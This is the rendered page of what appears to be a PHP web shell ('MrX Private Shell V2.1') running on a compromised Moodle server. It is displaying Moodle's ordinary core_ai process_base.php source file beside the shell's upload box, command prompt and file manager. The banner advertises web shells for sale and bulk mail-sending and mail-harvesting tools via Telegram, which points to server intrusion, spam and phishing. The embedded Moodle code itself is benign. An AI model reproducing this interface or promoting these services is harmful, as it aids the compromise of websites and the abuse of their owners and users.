__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_ai;

use core_ai\aiactions\base;
use core_ai\aiactions\responses\response_base;

/**
 * Base class for provider processors.
 *
 * Each provider processor should extend this class.
 *
 * @package    core_ai
 * @copyright  2024 Matt Porritt <matt.porritt@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
abstract class process_base {
    /**
     * Class constructor.
     *
     * @param provider $provider The provider that will process the action.
     * @param base $action The action to process.
     */
    public function __construct(
        /** @var provider The provider that will process the action. */
        protected readonly provider $provider,
        /** @var base The action to process. */
        protected readonly base $action,
    ) {
    }

    /**
     * Process the AI request.
     *
     * @return response_base The result of the action.
     */
    public function process(): response_base {
        // Check the rate limiter.
        $ratelimitcheck = $this->provider->is_request_allowed($this->action);
        if ($ratelimitcheck !== true) {
            return $this->get_response(
                success: false,
                errorcode: $ratelimitcheck['errorcode'],
                errormessage: $ratelimitcheck['errormessage'],
            );
        }

        // Format the action response object.
        return $this->prepare_response($this->query_ai_api());
    }

    /**
     * Query the AI service.
     *
     * @return array The response from the AI service.
     */
    abstract protected function query_ai_api(): array;

    /**
     * Prepare the response object.
     *
     * @param array $responsedata The response object.
     * @return response_base The action response object.
     */
    private function prepare_response(array $responsedata): response_base {
        if ($responsedata['success']) {
            $response = $this->get_response(
                success: true,
            );
            $response->set_response_data($responsedata);

            return $response;
        } else {
            return $this->get_response(
                success: false,
                errorcode: $responsedata['errorcode'],
                errormessage: $responsedata['errormessage'],
            );
        }
    }

    /**
     * Get the instantiated Response Class for the action described by this processor.
     *
     * @param mixed ...$args The arguments to pass to the response class constructor.
     * @return response_base
     */
    protected function get_response(...$args): response_base {
        $responseclassname = $this->action::get_response_classname();
        return new $responseclassname(
            ...$args,
        );
    }
}

Filemanager

Name Type Size Permission Actions
admin Folder 0777
aiactions Folder 0777
cache Folder 0777
external Folder 0777
privacy Folder 0777
table Folder 0777
ai_image.php File 14 KB 0777
manager.php File 11.05 KB 0777
placement.php File 1.46 KB 0777
process_base.php File 3.37 KB 0777
provider.php File 2.79 KB 0777
rate_limiter.php File 3.74 KB 0777
Filemanager